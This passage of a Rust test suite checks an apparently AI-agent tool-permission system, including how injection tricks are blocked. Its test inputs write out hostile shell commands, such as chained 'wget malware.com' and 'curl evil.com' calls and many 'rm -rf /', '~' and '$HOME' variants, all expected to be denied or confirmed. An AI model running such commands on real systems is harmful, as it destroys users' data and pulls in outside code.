1012            Arc::from(TerminalTool::NAME),
1013            ToolRules {
1014                default: Some(ToolPermissionMode::Deny),
1015                always_allow: vec![],
1016                always_deny: vec![],
1017                always_confirm: vec![],
1018                invalid_patterns: vec![],
1019            },
1020        );
1021        tools.insert(
1022            Arc::from(EditFileTool::NAME),
1023            ToolRules {
1024                default: Some(ToolPermissionMode::Allow),
1025                always_allow: vec![],
1026                always_deny: vec![],
1027                always_confirm: vec![],
1028                invalid_patterns: vec![],
1029            },
1030        );
1031        let p = ToolPermissions {
1032            default: ToolPermissionMode::Confirm,
1033            tools,
1034        };
1035        assert!(matches!(
1036            ToolPermissionDecision::from_input(
1037                TerminalTool::NAME,
1038                &["x".to_string()],
1039                &p,
1040                ShellKind::Posix
1041            ),
1042            ToolPermissionDecision::Deny(_)
1043        ));
1044        assert_eq!(
1045            ToolPermissionDecision::from_input(
1046                EditFileTool::NAME,
1047                &["x".to_string()],
1048                &p,
1049                ShellKind::Posix
1050            ),
1051            ToolPermissionDecision::Allow
1052        );
1053    }
1054
1055    #[test]
1056    fn partial_tool_name_no_match() {
1057        let mut tools = collections::HashMap::default();
1058        tools.insert(
1059            Arc::from("term"),
1060            ToolRules {
1061                default: Some(ToolPermissionMode::Deny),
1062                always_allow: vec![],
1063                always_deny: vec![],
1064                always_confirm: vec![],
1065                invalid_patterns: vec![],
1066            },
1067        );
1068        let p = ToolPermissions {
1069            default: ToolPermissionMode::Confirm,
1070            tools,
1071        };
1072        // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1073        assert_eq!(
1074            ToolPermissionDecision::from_input(
1075                TerminalTool::NAME,
1076                &["x".to_string()],
1077                &p,
1078                ShellKind::Posix
1079            ),
1080            ToolPermissionDecision::Confirm
1081        );
1082    }
1083
1084    // invalid patterns block the tool
1085    #[test]
1086    fn invalid_pattern_blocks() {
1087        let mut tools = collections::HashMap::default();
1088        tools.insert(
1089            Arc::from(TerminalTool::NAME),
1090            ToolRules {
1091                default: Some(ToolPermissionMode::Allow),
1092                always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1093                always_deny: vec![],
1094                always_confirm: vec![],
1095                invalid_patterns: vec![InvalidRegexPattern {
1096                    pattern: "[bad".into(),
1097                    rule_type: "always_deny".into(),
1098                    error: "err".into(),
1099                }],
1100            },
1101        );
1102        let p = ToolPermissions {
1103            default: ToolPermissionMode::Confirm,
1104            tools,
1105        };
1106        // Invalid patterns block the tool regardless of other settings
1107        assert!(matches!(
1108            ToolPermissionDecision::from_input(
1109                TerminalTool::NAME,
1110                &["echo hi".to_string()],
1111                &p,
1112                ShellKind::Posix
1113            ),
1114            ToolPermissionDecision::Deny(_)
1115        ));
1116    }
1117
1118    #[test]
1119    fn invalid_substitution_bearing_command_denies_by_default() {
1120        let decision = no_rules("echo $HOME", ToolPermissionMode::Deny);
1121        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1122    }
1123
1124    #[test]
1125    fn invalid_substitution_bearing_command_denies_in_confirm_mode() {
1126        let decision = no_rules("echo $(whoami)", ToolPermissionMode::Confirm);
1127        assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
1128    }
1129
1130    #[test]
1131    fn unconditional_allow_all_bypasses_invalid_command_rejection_without_tool_rules() {
1132        let decision = no_rules("echo $HOME", ToolPermissionMode::Allow);
1133        assert_eq!(decision, ToolPermissionDecision::Allow);
1134    }
1135
1136    #[test]
1137    fn unconditional_allow_all_bypasses_invalid_command_rejection_with_terminal_default_allow() {
1138        let mut tools = collections::HashMap::default();
1139        tools.insert(
1140            Arc::from(TerminalTool::NAME),
1141            ToolRules {
1142                default: Some(ToolPermissionMode::Allow),
1143                always_allow: vec![],
1144                always_deny: vec![],
1145                always_confirm: vec![],
1146                invalid_patterns: vec![],
1147            },
1148        );
1149        let permissions = ToolPermissions {
1150            default: ToolPermissionMode::Confirm,
1151            tools,
1152        };
1153
1154        assert_eq!(
1155            ToolPermissionDecision::from_input(
1156                TerminalTool::NAME,
1157                &["echo $(whoami)".to_string()],
1158                &permissions,
1159                ShellKind::Posix,
1160            ),
1161            ToolPermissionDecision::Allow
1162        );
1163    }
1164
1165    #[test]
1166    fn old_anchored_pattern_no_longer_matches_env_prefixed_command() {
1167        t("PAGER=blah git log").allow(&["^git\\b"]).is_confirm();
1168    }
1169
1170    #[test]
1171    fn env_prefixed_allow_pattern_matches_env_prefixed_command() {
1172        t("PAGER=blah git log --oneline")
1173            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1174            .is_allow();
1175    }
1176
1177    #[test]
1178    fn env_prefixed_allow_pattern_requires_matching_env_value() {
1179        t("PAGER=more git log --oneline")
1180            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1181            .is_confirm();
1182    }
1183
1184    #[test]
1185    fn env_prefixed_allow_patterns_require_all_extracted_commands_to_match() {
1186        t("PAGER=blah git log && git status")
1187            .allow(&["^PAGER=blah\\s+git\\s+log(\\s|$)"])
1188            .is_confirm();
1189    }
1190
1191    #[test]
1192    fn hardcoded_security_denial_overrides_unconditional_allow_all() {
1193        let decision = no_rules("rm -rf /", ToolPermissionMode::Allow);
1194        match decision {
1195            ToolPermissionDecision::Deny(message) => {
1196                assert!(
1197                    message.contains("built-in security rule"),
1198                    "expected hardcoded denial message, got: {message}"
1199                );
1200            }
1201            other => panic!("expected Deny, got {other:?}"),
1202        }
1203    }
1204
1205    #[test]
1206    fn hardcoded_security_denial_overrides_unconditional_allow_all_for_invalid_command() {
1207        let decision = no_rules("echo $(rm -rf /)", ToolPermissionMode::Allow);
1208        match decision {
1209            ToolPermissionDecision::Deny(message) => {
1210                assert!(
1211                    message.contains("built-in security rule"),
1212                    "expected hardcoded denial message, got: {message}"
1213                );
1214            }
1215            other => panic!("expected Deny, got {other:?}"),
1216        }
1217    }
1218
1219    #[test]
1220    fn shell_injection_via_double_ampersand_not_allowed() {
1221        t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1222    }
1223
1224    #[test]
1225    fn shell_injection_via_semicolon_not_allowed() {
1226        t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1227    }
1228
1229    #[test]
1230    fn shell_injection_via_pipe_not_allowed() {
1231        t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1232    }
1233
1234    #[test]
1235    fn shell_injection_via_backticks_not_allowed() {
1236        t("echo `wget malware.com`")
1237            .allow(&[pattern("echo")])
1238            .is_deny();
1239    }
1240
1241    #[test]
1242    fn shell_injection_via_dollar_parens_not_allowed() {
1243        t("echo $(wget malware.com)")
1244            .allow(&[pattern("echo")])
1245            .is_deny();
1246    }
1247
1248    #[test]
1249    fn shell_injection_via_or_operator_not_allowed() {
1250        t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1251    }
1252
1253    #[test]
1254    fn shell_injection_via_background_operator_not_allowed() {
1255        t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1256    }
1257
1258    #[test]
1259    fn shell_injection_via_newline_not_allowed() {
1260        t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1261    }
1262
1263    #[test]
1264    fn shell_injection_via_process_substitution_input_not_allowed() {
1265        t("cat <(wget malware.com)").allow(&["^cat"]).is_deny();
1266    }
1267
1268    #[test]
1269    fn shell_injection_via_process_substitution_output_not_allowed() {
1270        t("ls >(wget malware.com)").allow(&["^ls"]).is_deny();
1271    }
1272
1273    #[test]
1274    fn shell_injection_without_spaces_not_allowed() {
1275        t("ls&&wget malware.com").allow(&["^ls"]).is_confirm();
1276        t("ls;wget malware.com").allow(&["^ls"]).is_confirm();
1277    }
1278
1279    #[test]
1280    fn shell_injection_multiple_chained_operators_not_allowed() {
1281        t("ls && echo hello && wget malware.com")
1282            .allow(&["^ls"])
1283            .is_confirm();
1284    }
1285
1286    #[test]
1287    fn shell_injection_mixed_operators_not_allowed() {
1288        t("ls; echo hello && wget malware.com")
1289            .allow(&["^ls"])
1290            .is_confirm();
1291    }
1292
1293    #[test]
1294    fn shell_injection_pipe_stderr_not_allowed() {
1295        t("ls |& wget malware.com").allow(&["^ls"]).is_confirm();
1296    }
1297
1298    #[test]
1299    fn allow_requires_all_commands_to_match() {
1300        t("ls && echo hello").allow(&["^ls", "^echo"]).is_allow();
1301    }
1302
1303    #[test]
1304    fn dev_null_redirect_does_not_cause_false_negative() {
1305        // Redirects to /dev/null are known-safe and should be skipped during
1306        // command extraction, so they don't prevent auto-allow from matching.
1307        t(r#"git log --oneline -20 2>/dev/null || echo "not a git repo or no commits""#)
1308            .allow(&[r"^git\s+(status|diff|log|show)\b", "^echo"])
1309            .is_allow();
1310    }
1311
1312    #[test]
1313    fn redirect_to_real_file_still_causes_confirm() {
1314        // Redirects to real files (not /dev/null) should still be included in
1315        // the extracted commands, so they prevent auto-allow when unmatched.
1316        t("echo hello > /etc/passwd").allow(&["^echo"]).is_confirm();
1317    }
1318
1319    #[test]
1320    fn pipe_does_not_cause_false_negative_when_all_commands_match() {
1321        // A piped command like `echo "y\ny" | git add -p file` produces two commands:
1322        // "echo y\ny" and "git add -p file". Both should match their respective allow
1323        // patterns, so the overall command should be auto-allowed.
1324        t(r#"echo "y\ny" | git add -p crates/acp_thread/src/acp_thread.rs"#)
1325            .allow(&[r"^git\s+(--no-pager\s+)?(fetch|status|diff|log|show|add|commit|push|checkout\s+-b)\b", "^echo"])
1326            .is_allow();
1327    }
1328
1329    #[test]
1330    fn deny_triggers_on_any_matching_command() {
1331        t("ls && rm file").allow(&["^ls"]).deny(&["^rm"]).is_deny();
1332    }
1333
1334    #[test]
1335    fn deny_catches_injected_command() {
1336        t("ls && rm -rf ./temp")
1337            .allow(&["^ls"])
1338            .deny(&["^rm"])
1339            .is_deny();
1340    }
1341
1342    #[test]
1343    fn confirm_triggers_on_any_matching_command() {
1344        t("ls && sudo reboot")
1345            .allow(&["^ls"])
1346            .confirm(&["^sudo"])
1347            .is_confirm();
1348    }
1349
1350    #[test]
1351    fn always_allow_button_works_end_to_end() {
1352        // This test verifies that the "Always Allow" button behavior works correctly:
1353        // 1. User runs a command like "cargo build --release"
1354        // 2. They click "Always Allow for `cargo build` commands"
1355        // 3. The pattern extracted should match future "cargo build" commands
1356        //    but NOT other cargo subcommands like "cargo test"
1357        let original_command = "cargo build --release";
1358        let extracted_pattern = pattern(original_command);
1359
1360        // The extracted pattern should allow the original command
1361        t(original_command).allow(&[extracted_pattern]).is_allow();
1362
1363        // It should allow other "cargo build" invocations with different flags
1364        t("cargo build").allow(&[extracted_pattern]).is_allow();
1365        t("cargo build --features foo")
1366            .allow(&[extracted_pattern])
1367            .is_allow();
1368
1369        // But NOT other cargo subcommands — the pattern is subcommand-specific
1370        t("cargo test").allow(&[extracted_pattern]).is_confirm();
1371        t("cargo fmt").allow(&[extracted_pattern]).is_confirm();
1372
1373        // Hyphenated extensions of the subcommand should not match either
1374        // (e.g. cargo plugins like "cargo build-foo")
1375        t("cargo build-foo")
1376            .allow(&[extracted_pattern])
1377            .is_confirm();
1378        t("cargo builder").allow(&[extracted_pattern]).is_confirm();
1379
1380        // But not commands with different base commands
1381        t("npm install").allow(&[extracted_pattern]).is_confirm();
1382
1383        // Chained commands: all must match the pattern
1384        t("cargo build && cargo build --release")
1385            .allow(&[extracted_pattern])
1386            .is_allow();
1387
1388        // But reject if any subcommand doesn't match
1389        t("cargo build && npm install")
1390            .allow(&[extracted_pattern])
1391            .is_confirm();
1392    }
1393
1394    #[test]
1395    fn always_allow_button_works_without_subcommand() {
1396        // When the second token is a flag (e.g. "ls -la"), the extracted pattern
1397        // should only include the command name, not the flag.
1398        let original_command = "ls -la";
1399        let extracted_pattern = pattern(original_command);
1400
1401        // The extracted pattern should allow the original command
1402        t(original_command).allow(&[extracted_pattern]).is_allow();
1403
1404        // It should allow other invocations of the same command
1405        t("ls").allow(&[extracted_pattern]).is_allow();
1406        t("ls -R /tmp").allow(&[extracted_pattern]).is_allow();
1407
1408        // But not different commands
1409        t("cat file.txt").allow(&[extracted_pattern]).is_confirm();
1410
1411        // Chained commands: all must match
1412        t("ls -la && ls /tmp")
1413            .allow(&[extracted_pattern])
1414            .is_allow();
1415        t("ls -la && cat file.txt")
1416            .allow(&[extracted_pattern])
1417            .is_confirm();
1418    }
1419
1420    #[test]
1421    fn nested_command_substitution_is_denied() {
1422        t("echo $(cat $(whoami).txt)")
1423            .allow(&["^echo", "^cat", "^whoami"])
1424            .is_deny();
1425    }
1426
1427    #[test]
1428    fn parse_failure_is_denied() {
1429        t("ls &&").allow(&["^ls$"]).is_deny();
1430    }
1431
1432    #[test]
1433    fn mcp_tool_default_modes() {
1434        t("")
1435            .tool("mcp:fs:read")
1436            .mode(ToolPermissionMode::Allow)
1437            .is_allow();
1438        t("")
1439            .tool("mcp:bad:del")
1440            .mode(ToolPermissionMode::Deny)
1441            .is_deny();
1442        t("")
1443            .tool("mcp:gh:issue")
1444            .mode(ToolPermissionMode::Confirm)
1445            .is_confirm();
1446        t("")
1447            .tool("mcp:gh:issue")
1448            .mode(ToolPermissionMode::Confirm)
1449            .global_default(ToolPermissionMode::Allow)
1450            .is_confirm();
1451    }
1452
1453    #[test]
1454    fn mcp_doesnt_collide_with_builtin() {
1455        let mut tools = collections::HashMap::default();
1456        tools.insert(
1457            Arc::from(TerminalTool::NAME),
1458            ToolRules {
1459                default: Some(ToolPermissionMode::Deny),
1460                always_allow: vec![],
1461                always_deny: vec![],
1462                always_confirm: vec![],
1463                invalid_patterns: vec![],
1464            },
1465        );
1466        tools.insert(
1467            Arc::from("mcp:srv:terminal"),
1468            ToolRules {
1469                default: Some(ToolPermissionMode::Allow),
1470                always_allow: vec![],
1471                always_deny: vec![],
1472                always_confirm: vec![],
1473                invalid_patterns: vec![],
1474            },
1475        );
1476        let p = ToolPermissions {
1477            default: ToolPermissionMode::Confirm,
1478            tools,
1479        };
1480        assert!(matches!(
1481            ToolPermissionDecision::from_input(
1482                TerminalTool::NAME,
1483                &["x".to_string()],
1484                &p,
1485                ShellKind::Posix
1486            ),
1487            ToolPermissionDecision::Deny(_)
1488        ));
1489        assert_eq!(
1490            ToolPermissionDecision::from_input(
1491                "mcp:srv:terminal",
1492                &["x".to_string()],
1493                &p,
1494                ShellKind::Posix
1495            ),
1496            ToolPermissionDecision::Allow
1497        );
1498    }
1499
1500    #[test]
1501    fn case_insensitive_by_default() {
1502        t("CARGO TEST").allow(&[pattern("cargo")]).is_allow();
1503        t("Cargo Test").allow(&[pattern("cargo")]).is_allow();
1504    }
1505
1506    #[test]
1507    fn case_sensitive_allow() {
1508        t("cargo test")
1509            .allow_case_sensitive(&[pattern("cargo")])
1510            .is_allow();
1511        t("CARGO TEST")
1512            .allow_case_sensitive(&[pattern("cargo")])
1513            .is_confirm();
1514    }
1515
1516    #[test]
1517    fn case_sensitive_deny() {
1518        t("rm -rf ./temp")
1519            .deny_case_sensitive(&[pattern("rm")])
1520            .is_deny();
1521        t("RM -RF ./temp")
1522            .deny_case_sensitive(&[pattern("rm")])
1523            .mode(ToolPermissionMode::Allow)
1524            .is_allow();
1525    }
1526
1527    #[test]
1528    fn nushell_allows_with_allow_pattern() {
1529        t("ls").allow(&["^ls"]).shell(ShellKind::Nushell).is_allow();
1530    }
1531
1532    #[test]
1533    fn nushell_allows_deny_patterns() {
1534        t("rm -rf ./temp")
1535            .deny(&["rm\\s+-rf"])
1536            .shell(ShellKind::Nushell)
1537            .is_deny();
1538    }
1539
1540    #[test]
1541    fn nushell_allows_confirm_patterns() {
1542        t("sudo reboot")
1543            .confirm(&["sudo"])
1544            .shell(ShellKind::Nushell)
1545            .is_confirm();
1546    }
1547
1548    #[test]
1549    fn nushell_no_allow_patterns_uses_default() {
1550        t("ls")
1551            .deny(&["rm"])
1552            .mode(ToolPermissionMode::Allow)
1553            .shell(ShellKind::Nushell)
1554            .is_allow();
1555    }
1556
1557    #[test]
1558    fn elvish_allows_with_allow_pattern() {
1559        t("ls").allow(&["^ls"]).shell(ShellKind::Elvish).is_allow();
1560    }
1561
1562    #[test]
1563    fn rc_allows_with_allow_pattern() {
1564        t("ls").allow(&["^ls"]).shell(ShellKind::Rc).is_allow();
1565    }
1566
1567    #[test]
1568    fn multiple_invalid_patterns_pluralizes_message() {
1569        let mut tools = collections::HashMap::default();
1570        tools.insert(
1571            Arc::from(TerminalTool::NAME),
1572            ToolRules {
1573                default: Some(ToolPermissionMode::Allow),
1574                always_allow: vec![],
1575                always_deny: vec![],
1576                always_confirm: vec![],
1577                invalid_patterns: vec![
1578                    InvalidRegexPattern {
1579                        pattern: "[bad1".into(),
1580                        rule_type: "always_deny".into(),
1581                        error: "err1".into(),
1582                    },
1583                    InvalidRegexPattern {
1584                        pattern: "[bad2".into(),
1585                        rule_type: "always_allow".into(),
1586                        error: "err2".into(),
1587                    },
1588                ],
1589            },
1590        );
1591        let p = ToolPermissions {
1592            default: ToolPermissionMode::Confirm,
1593            tools,
1594        };
1595
1596        let result = ToolPermissionDecision::from_input(
1597            TerminalTool::NAME,
1598            &["echo hi".to_string()],
1599            &p,
1600            ShellKind::Posix,
1601        );
1602        match result {
1603            ToolPermissionDecision::Deny(msg) => {
1604                assert!(
1605                    msg.contains("2 regex patterns"),
1606                    "Expected '2 regex patterns' in message, got: {}",
1607                    msg
1608                );
1609            }
1610            other => panic!("Expected Deny, got {:?}", other),
1611        }
1612    }
1613
1614    // always_confirm patterns on non-terminal tools
1615    #[test]
1616    fn always_confirm_works_for_file_tools() {
1617        t("sensitive.env")
1618            .tool(EditFileTool::NAME)
1619            .confirm(&["sensitive"])
1620            .is_confirm();
1621
1622        t("normal.txt")
1623            .tool(EditFileTool::NAME)
1624            .confirm(&["sensitive"])
1625            .mode(ToolPermissionMode::Allow)
1626            .is_allow();
1627
1628        t("/etc/config")
1629            .tool(DeletePathTool::NAME)
1630            .confirm(&["/etc/"])
1631            .is_confirm();
1632
1633        t("/home/user/safe.txt")
1634            .tool(DeletePathTool::NAME)
1635            .confirm(&["/etc/"])
1636            .mode(ToolPermissionMode::Allow)
1637            .is_allow();
1638
1639        t("https://secret.internal.com/api")
1640            .tool(FetchTool::NAME)
1641            .confirm(&["secret\\.internal"])
1642            .is_confirm();
1643
1644        t("https://public.example.com/api")
1645            .tool(FetchTool::NAME)
1646            .confirm(&["secret\\.internal"])
1647            .mode(ToolPermissionMode::Allow)
1648            .is_allow();
1649
1650        // confirm on non-terminal tools still beats allow
1651        t("sensitive.env")
1652            .tool(EditFileTool::NAME)
1653            .allow(&["sensitive"])
1654            .confirm(&["\\.env$"])
1655            .is_confirm();
1656
1657        // confirm on non-terminal tools is still beaten by deny
1658        t("sensitive.env")
1659            .tool(EditFileTool::NAME)
1660            .confirm(&["sensitive"])
1661            .deny(&["\\.env$"])
1662            .is_deny();
1663
1664        // global default allow does not bypass confirm on non-terminal tools
1665        t("/etc/passwd")
1666            .tool(EditFileTool::NAME)
1667            .confirm(&["/etc/"])
1668            .global_default(ToolPermissionMode::Allow)
1669            .is_confirm();
1670    }
1671
1672    // Hardcoded security rules tests - these rules CANNOT be bypassed
1673
1674    #[test]
1675    fn hardcoded_blocks_rm_rf_root() {
1676        t("rm -rf /").is_deny();
1677        t("rm -fr /").is_deny();
1678        t("rm -RF /").is_deny();
1679        t("rm -FR /").is_deny();
1680        t("rm -r -f /").is_deny();
1681        t("rm -f -r /").is_deny();
1682        t("RM -RF /").is_deny();
1683        t("rm /").is_deny();
1684        // Long flags
1685        t("rm --recursive --force /").is_deny();
1686        t("rm --force --recursive /").is_deny();
1687        // Extra short flags
1688        t("rm -rfv /").is_deny();
1689        t("rm -v -rf /").is_deny();
1690        // Glob wildcards
1691        t("rm -rf /*").is_deny();
1692        t("rm -rf /* ").is_deny();
1693        // End-of-options marker
1694        t("rm -rf -- /").is_deny();
1695        t("rm -- /").is_deny();
1696        // Prefixed with sudo or other commands
1697        t("sudo rm -rf /").is_deny();
1698        t("sudo rm -rf /*").is_deny();
1699        t("sudo rm -rf --no-preserve-root /").is_deny();
1700    }
1701
1702    #[test]
1703    fn hardcoded_blocks_rm_rf_home() {
1704        t("rm -rf ~").is_deny();
1705        t("rm -fr ~").is_deny();
1706        t("rm -rf ~/").is_deny();
1707        t("rm -rf $HOME").is_deny();
1708        t("rm -fr $HOME").is_deny();
1709        t("rm -rf $HOME/").is_deny();
1710        t("rm -rf ${HOME}").is_deny();
1711        t("rm -rf ${HOME}/").is_deny();
1712        t("rm -RF $HOME").is_deny();
1713        t("rm -FR ${HOME}/").is_deny();
1714        t("rm -R -F ${HOME}/").is_deny();
1715        t("RM -RF ~").is_deny();
1716        // Long flags
1717        t("rm --recursive --force ~").is_deny();
1718        t("rm --recursive --force ~/").is_deny();
1719        t("rm --recursive --force $HOME").is_deny();
1720        t("rm --force --recursive ${HOME}/").is_deny();
1721        // Extra short flags
1722        t("rm -rfv ~").is_deny();
1723        t("rm -v -rf ~/").is_deny();
1724        // Glob wildcards
1725        t("rm -rf ~/*").is_deny();
1726        t("rm -rf $HOME/*").is_deny();
1727        t("rm -rf ${HOME}/*").is_deny();
1728        // End-of-options marker
1729        t("rm -rf -- ~").is_deny();
1730        t("rm -rf -- ~/").is_deny();
1731        t("rm -rf -- $HOME").is_deny();
1732    }
1733
1734    #[test]
1735    fn hardcoded_blocks_rm_rf_home_with_traversal() {
1736        // Path traversal after $HOME / ${HOME} should still be blocked
1737        t("rm -rf $HOME/./").is_deny();
1738        t("rm -rf $HOME/foo/..").is_deny();
1739        t("rm -rf ${HOME}/.").is_deny();
1740        t("rm -rf ${HOME}/./").is_deny();
1741        t("rm -rf $HOME/a/b/../..").is_deny();
1742        t("rm -rf ${HOME}/foo/bar/../..").is_deny();
1743        // Subdirectories should NOT be blocked
1744        t("rm -rf $HOME/subdir")
1745            .mode(ToolPermissionMode::Allow)
1746            .is_allow();
1747        t("rm -rf ${HOME}/Documents")
1748            .mode(ToolPermissionMode::Allow)
1749            .is_allow();
1750    }
1751
1752    #[test]
1753    fn hardcoded_blocks_rm_rf_dot() {
1754        t("rm -rf .").is_deny();
1755        t("rm -fr .").is_deny();
1756        t("rm -rf ./").is_deny();
1757        t("rm -rf ..").is_deny();
1758        t("rm -fr ..").is_deny();
1759        t("rm -rf ../").is_deny();
1760        t("rm -RF .").is_deny();
1761        t("rm -FR ../").is_deny();
1762        t("rm -R -F ../").is_deny();
1763        t("RM -RF .").is_deny();
1764        t("RM -RF ..").is_deny();
1765        // Long flags
1766        t("rm --recursive --force .").is_deny();
1767        t("rm --force --recursive ../").is_deny();
1768        // Extra short flags
1769        t("rm -rfv .").is_deny();
1770        t("rm -v -rf ../").is_deny();
1771        // Glob wildcards
1772        t("rm -rf ./*").is_deny();
1773        t("rm -rf ../*").is_deny();
1774        // End-of-options marker
1775        t("rm -rf -- .").is_deny();
1776        t("rm -rf -- ../").is_deny();
1777    }
1778
1779    #[test]
1780    fn hardcoded_cannot_be_bypassed_by_global() {
1781        // Even with global default Allow, hardcoded rules block
1782        t("rm -rf /")
1783            .global_default(ToolPermissionMode::Allow)
1784            .is_deny();
1785        t("rm -rf ~")
1786            .global_default(ToolPermissionMode::Allow)
1787            .is_deny();
1788        t("rm -rf $HOME")
1789            .global_default(ToolPermissionMode::Allow)
1790            .is_deny();
1791        t("rm -rf .")
1792            .global_default(ToolPermissionMode::Allow)
1793            .is_deny();
1794        t("rm -rf ..")
1795            .global_default(ToolPermissionMode::Allow)
1796            .is_deny();
1797    }
1798
1799    #[test]
1800    fn hardcoded_cannot_be_bypassed_by_allow_pattern() {
1801        // Even with an allow pattern that matches, hardcoded rules block
1802        t("rm -rf /").allow(&[".*"]).is_deny();
1803        t("rm -rf $HOME").allow(&[".*"]).is_deny();
1804        t("rm -rf .").allow(&[".*"]).is_deny();
1805        t("rm -rf ..").allow(&[".*"]).is_deny();
1806    }
1807
1808    #[test]
1809    fn hardcoded_allows_safe_rm() {
1810        // rm -rf on a specific path should NOT be blocked
1811        t("rm -rf ./build")
1812            .mode(ToolPermissionMode::Allow)
1813            .is_allow();
1814        t("rm -rf /tmp/test")
1815            .mode(ToolPermissionMode::Allow)
1816            .is_allow();
1817        t("rm -rf ~/Documents")
1818            .mode(ToolPermissionMode::Allow)
1819            .is_allow();
1820        t("rm -rf $HOME/Documents")
1821            .mode(ToolPermissionMode::Allow)
1822            .is_allow();
1823        t("rm -rf ../some_dir")
1824            .mode(ToolPermissionMode::Allow)
1825            .is_allow();
1826        t("rm -rf .hidden_dir")
1827            .mode(ToolPermissionMode::Allow)
1828            .is_allow();
1829        t("rm -rfv ./build")
1830            .mode(ToolPermissionMode::Allow)
1831            .is_allow();
1832        t("rm --recursive --force ./build")
1833            .mode(ToolPermissionMode::Allow)
1834            .is_allow();
1835    }
1836
1837    #[test]
1838    fn hardcoded_checks_chained_commands() {
1839        // Hardcoded rules should catch dangerous commands in chains
1840        t("ls && rm -rf /").is_deny();
1841        t("echo hello; rm -rf ~").is_deny();
1842        t("cargo build && rm -rf /")
1843            .global_default(ToolPermissionMode::Allow)
1844            .is_deny();
1845        t("echo hello; rm -rf $HOME").is_deny();
1846        t("echo hello; rm -rf .").is_deny();
1847        t("echo hello; rm -rf ..").is_deny();
1848    }
1849
1850    #[test]
1851    fn hardcoded_blocks_rm_with_extra_flags() {
1852        // Extra flags like -v, -i should not bypass the security rules
1853        t("rm -rfv /").is_deny();
1854        t("rm -v -rf /").is_deny();
1855        t("rm -rfi /").is_deny();
1856        t("rm -rfv ~").is_deny();
1857        t("rm -rfv ~/").is_deny();
1858        t("rm -rfv $HOME").is_deny();
1859        t("rm -rfv .").is_deny();
1860        t("rm -rfv ./").is_deny();
1861        t("rm -rfv ..").is_deny();
1862        t("rm -rfv ../").is_deny();
1863    }
1864
1865    #[test]
1866    fn hardcoded_blocks_rm_with_long_flags() {
1867        t("rm --recursive --force /").is_deny();
1868        t("rm --force --recursive /").is_deny();
1869        t("rm --recursive --force ~").is_deny();
1870        t("rm --recursive --force ~/").is_deny();
1871        t("rm --recursive --force $HOME").is_deny();
1872        t("rm --recursive --force .").is_deny();
1873        t("rm --recursive --force ..").is_deny();
1874    }
1875
1876    #[test]
1877    fn hardcoded_blocks_rm_with_glob_star() {
1878        // rm -rf /* is equally catastrophic to rm -rf /
1879        t("rm -rf /*").is_deny();
1880        t("rm -rf ~/*").is_deny();
1881        t("rm -rf $HOME/*").is_deny();
1882        t("rm -rf ${HOME}/*").is_deny();
1883        t("rm -rf ./*").is_deny();
1884        t("rm -rf ../*").is_deny();
1885    }
1886
1887    #[test]
1888    fn hardcoded_extra_flags_allow_safe_rm() {
1889        // Extra flags on specific paths should NOT be blocked
1890        t("rm -rfv ~/somedir")
1891            .mode(ToolPermissionMode::Allow)
1892            .is_allow();
1893        t("rm -rfv /tmp/test")
1894            .mode(ToolPermissionMode::Allow)
1895            .is_allow();
1896        t("rm --recursive --force ./build")
1897            .mode(ToolPermissionMode::Allow)
1898            .is_allow();
1899    }
1900
1901    #[test]
1902    fn hardcoded_does_not_block_words_containing_rm() {
1903        // Words like "storm", "inform" contain "rm" but should not be blocked
1904        t("storm -rf /").mode(ToolPermissionMode::Allow).is_allow();
1905        t("inform -rf /").mode(ToolPermissionMode::Allow).is_allow();
1906        t("gorm -rf ~").mode(ToolPermissionMode::Allow).is_allow();
1907    }
1908
1909    #[test]
1910    fn hardcoded_blocks_rm_with_trailing_flags() {
1911        // GNU rm accepts flags after operands by default
1912        t("rm / -rf").is_deny();
1913        t("rm / -fr").is_deny();
1914        t("rm / -RF").is_deny();
1915        t("rm / -r -f").is_deny();
1916        t("rm / --recursive --force").is_deny();
1917        t("rm / -rfv").is_deny();
1918        t("rm /* -rf").is_deny();
1919        // Mixed: some flags before path, some after
1920        t("rm -r / -f").is_deny();
1921        t("rm -f / -r").is_deny();
1922        // Home
1923        t("rm ~ -rf").is_deny();
1924        t("rm ~/ -rf").is_deny();
1925        t("rm ~ -r -f").is_deny();
1926        t("rm $HOME -rf").is_deny();
1927        t("rm ${HOME} -rf").is_deny();
1928        // Dot / dotdot
1929        t("rm . -rf").is_deny();
1930        t("rm ./ -rf").is_deny();
1931        t("rm . -r -f").is_deny();
1932        t("rm .. -rf").is_deny();
1933        t("rm ../ -rf").is_deny();
1934        t("rm .. -r -f").is_deny();
1935        // Trailing flags in chained commands
1936        t("ls && rm / -rf").is_deny();
1937        t("echo hello; rm ~ -rf").is_deny();
1938        // Safe paths with trailing flags should NOT be blocked
1939        t("rm ./build -rf")
1940            .mode(ToolPermissionMode::Allow)
1941            .is_allow();
1942        t("rm /tmp/test -rf")
1943            .mode(ToolPermissionMode::Allow)
1944            .is_allow();
1945        t("rm ~/Documents -rf")
1946            .mode(ToolPermissionMode::Allow)
1947            .is_allow();
1948    }
1949
1950    #[test]
1951    fn hardcoded_blocks_rm_with_flag_equals_value() {
1952        // --flag=value syntax should not bypass the rules
1953        t("rm --no-preserve-root=yes -rf /").is_deny();
1954        t("rm --no-preserve-root=yes --recursive --force /").is_deny();
1955        t("rm -rf --no-preserve-root=yes /").is_deny();
1956        t("rm --interactive=never -rf /").is_deny();
1957        t("rm --no-preserve-root=yes -rf ~").is_deny();
1958        t("rm --no-preserve-root=yes -rf .").is_deny();
1959        t("rm --no-preserve-root=yes -rf ..").is_deny();
1960        t("rm --no-preserve-root=yes -rf $HOME").is_deny();
1961        // --flag (without =value) should also not bypass the rules
1962        t("rm -rf --no-preserve-root /").is_deny();
1963        t("rm --no-preserve-root -rf /").is_deny();
1964        t("rm --no-preserve-root --recursive --force /").is_deny();
1965        t("rm -rf --no-preserve-root ~").is_deny();
1966        t("rm -rf --no-preserve-root .").is_deny();
1967        t("rm -rf --no-preserve-root ..").is_deny();
1968        t("rm -rf --no-preserve-root $HOME").is_deny();
